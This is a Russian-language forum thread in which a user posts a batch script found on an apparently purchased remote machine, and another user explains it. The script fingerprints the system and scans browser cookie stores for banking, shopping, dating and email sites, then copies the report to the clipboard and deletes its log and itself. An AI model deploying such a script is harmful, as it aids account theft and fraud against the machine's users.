Батник на деде

[Fedmex]

Покупал дед, на нем оказался такой батник, может кто расшифровать?

Текст в батнике

@echo off

setlocal ENABLEEXTENSIONS
set "paymentlist=cookie_check.paypal.com paypal.comcookie_check account.skrill.com westernunion.com neteller.com entropay.com 2checkout.com wepay.com .v.me gopayment.com dwolla.com aib.ie barclaycardus.com capitalone.com chase.com coinbase.com liqpay.com moneybookers.com open24.ie payeer.com paysurfer.com perfectmoney.com suntrust.com wellsfargo.com"
set "shoplist=sears.com overstock.com ebay.comnonsession dell.com amazon.comsession apple.comdssid beacon.walmart.com bestbuy.comcontext_id newegg.coms_per airbnb.com bhphotovideo.com farfetch.com lowes.com officedepot.com qvc.com steampowered.com target.com"
set "datinglist=match.com mysinglefriend.com friendfinder.com jdate.com gay.com christianconnection.com muddymatches.co.uk zoosk.com shaadi.com datingdirect.com lovearts.com amateurmatch.com cupid.com datehookup.com meetic.com meetme.com"
set "otherlist=accounts.google.com mail.live.com login.yahoo.com att.com sprint.com verizonwireless.com vzw.com verizon.com craiglist.org indeed.com sendspace.com swiftunlocks.com ups.com whoer.net fedex.com"

echo go > %temp%/win_install.log.txt

echo ====start_product==== >> %temp%/win_install.log.txt
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" /v ProductName >> %temp%/win_install.log.txt
echo ====end_product==== >> %temp%/win_install.log.txt

echo ====start_cpuname==== >> %temp%/win_install.log.txt
REG QUERY "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0" /v ProcessorNameString >> %temp%/win_install.log.txt
echo ====end_cpuname==== >> %temp%/win_install.log.txt

echo ====start_cpus==== >> %temp%/win_install.log.txt
echo %NUMBER_OF_PROCESSORS% >> %temp%/win_install.log.txt
echo ====end_cpus==== >> %temp%/win_install.log.txt

echo ====start_domain==== >> %temp%/win_install.log.txt
echo %USERDOMAIN% >> %temp%/win_install.log.txt
echo ====end_domain==== >> %temp%/win_install.log.txt


::get soft list
echo ====start_softlist==== >> %temp%/win_install.log.txt
for /f "skip=4 tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') do (
::echo %%~na
for /f "tokens=*" %%b in ('REG QUERY "%%a" /v DisplayName 2^>nul') do (
echo %%b>> %temp%/win_install.log.txt
)
)
echo ====end_softlist==== >> %temp%/win_install.log.txt

echo ====start_tasklist==== >> %temp%/win_install.log.txt
tasklist >> %temp%/win_install.log.txt
echo ====end_tasklist==== >> %temp%/win_install.log.txt


echo ====start_admin==== >> %temp%/win_install.log.txt

::check for admin rights
net session >nul 2>&1
if %errorLevel% == 0 (
echo userisadmin >> %temp%/win_install.log.txt
) else (
echo userisnotadmin >> %temp%/win_install.log.txt
)

echo ====end_admin==== >> %temp%/win_install.log.txt

echo ====start_ip==== >> %temp%/win_install.log.txt

::now get IPV4 from ipconfig
ipconfig | find "IPv4" >> %temp%/win_install.log.txt

echo ====end_ip==== >> %temp%/win_install.log.txt

echo ====start_brws==== >> %temp%/win_install.log.txt
IF EXIST "%programfiles(x86)%\Google\Chrome\" (
echo brw_chrome_exist >> %temp%/win_install.log.txt
)
IF EXIST "%programfiles(x86)%\Mozilla Firefox\" (
echo brw_firefox_exist >> %temp%/win_install.log.txt
)
IF EXIST "%programfiles%\Google\Chrome\" (
echo brw_chrome_exist >> %temp%/win_install.log.txt
)
IF EXIST "%programfiles%\Mozilla Firefox\" (
echo brw_firefox_exist >> %temp%/win_install.log.txt
)
echo ====end_brws==== >> %temp%/win_install.log.txt

echo ====start_src==== >> %temp%/win_install.log.txt

::check if ie
IF EXIST %appdata%\Microsoft\Windows\Cookies (
echo browser: ie yes >> %temp%/win_install.log.txt

cd /d %appdata%\Microsoft\Windows\Cookies

for %%i in (%paymentlist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_pay: %%i >> %temp%/win_install.log.txt
)

::search shops
for %%i in (%shoplist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_shp: %%i >> %temp%/win_install.log.txt
)

::search dating
for %%i in (%datinglist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_dat: %%i >> %temp%/win_install.log.txt
)

::search others
for %%i in (%otherlist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_oth: %%i >> %temp%/win_install.log.txt
)

IF EXIST %appdata%\Microsoft\Windows\Cookies\Low (

cd /d %appdata%\Microsoft\Windows\Cookies\Low

for %%i in (%paymentlist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_pay: %%i >> %temp%/win_install.log.txt
)

::search shops
for %%i in (%shoplist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_shp: %%i >> %temp%/win_install.log.txt
)

::search dating
for %%i in (%datinglist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_dat: %%i >> %temp%/win_install.log.txt
)

::search others
for %%i in (%otherlist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_oth: %%i >> %temp%/win_install.log.txt
)

)


)

::check if ie in win 8,8.1,10
IF EXIST %localappdata%\Microsoft\Windows\INetCookies (

cd /d %localappdata%\Microsoft\Windows\INetCookies

for %%i in (%paymentlist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_pay: %%i >> %temp%/win_install.log.txt
)

::search shops
for %%i in (%shoplist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_shp: %%i >> %temp%/win_install.log.txt
)

::search dating
for %%i in (%datinglist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_dat: %%i >> %temp%/win_install.log.txt
)

::search others
for %%i in (%otherlist%) do (
findstr /m %%i *>nul
if errorlevel 0 if not errorlevel 1 echo found_oth: %%i >> %temp%/win_install.log.txt
)


)

::check if firefox installed
IF EXIST %appdata%\Mozilla\Firefox (

cd /d %appdata%\Mozilla\Firefox\Profiles

for /d %%F in (*) do cd /d "%%F"

IF EXIST cookies.sqlite (
::search payments
for %%i in (%paymentlist%) do (
findstr /m %%i cookies.sqlite>nul
if errorlevel 0 if not errorlevel 1 echo found_pay: %%i >> %temp%/win_install.log.txt
)

::search shops
for %%i in (%shoplist%) do (
findstr /m %%i cookies.sqlite>nul
if errorlevel 0 if not errorlevel 1 echo found_shp: %%i >> %temp%/win_install.log.txt
)

::search dating
for %%i in (%datinglist%) do (
findstr /m %%i cookies.sqlite>nul
if errorlevel 0 if not errorlevel 1 echo found_dat: %%i >> %temp%/win_install.log.txt
)

::search others
for %%i in (%otherlist%) do (
findstr /m %%i cookies.sqlite>nul
if errorlevel 0 if not errorlevel 1 echo found_oth: %%i >> %temp%/win_install.log.txt
)
)

)

::check if chrome installed
IF EXIST %localappdata%\Google\Chrome\User Data\Default (

cd /d %localappdata%\Google\Chrome\User Data\Default

IF EXIST Cookies (
::search payments
for %%i in (%paymentlist%) do (
findstr /m %%i Cookies>nul
if errorlevel 0 if not errorlevel 1 echo found_pay: %%i >> %temp%/win_install.log.txt
)

::search shops
for %%i in (%shoplist%) do (
findstr /m %%i Cookies>nul
if errorlevel 0 if not errorlevel 1 echo found_shp: %%i >> %temp%/win_install.log.txt
)

::search dating
for %%i in (%datinglist%) do (
findstr /m %%i Cookies>nul
if errorlevel 0 if not errorlevel 1 echo found_dat: %%i >> %temp%/win_install.log.txt
)

::search others
for %%i in (%otherlist%) do (
findstr /m %%i Cookies>nul
if errorlevel 0 if not errorlevel 1 echo found_oth: %%i >> %temp%/win_install.log.txt
)
)



)

echo ====end_src==== >> %temp%/win_install.log.txt

::notepad %temp%/win_install.log.txt

cd /d %temp%
TYPE win_install.log.txt | clip
del win_install.log.txt


::echo Please press enter to exit and delete file

:ause >nul


DEL "%~f0"

 

[LamerOnLine]

Покупал дед, на нем оказался такой батник, может кто расшифровать?

Если удалить нижние строчки

эти

cd /d %temp%
TYPE win_install.log.txt | clip
del win_install.log.txt


::echo Please press enter to exit and delete file

:ause >nul


DEL "%~f0"

Файл создаст отчёт в папке C:\Users\Имя_пользователя\AppData\Local\Temp
В нём будет:
Версия ОС, модель процессора, количество ядер, имя компьютера.
Установленный софт.
Список запущенных процессов.
Проверка пользователя на права администратора.
Все IPv4 адреса.
Установленные браузеры.
Проверка URL адресов из списка в истории этих браузеров.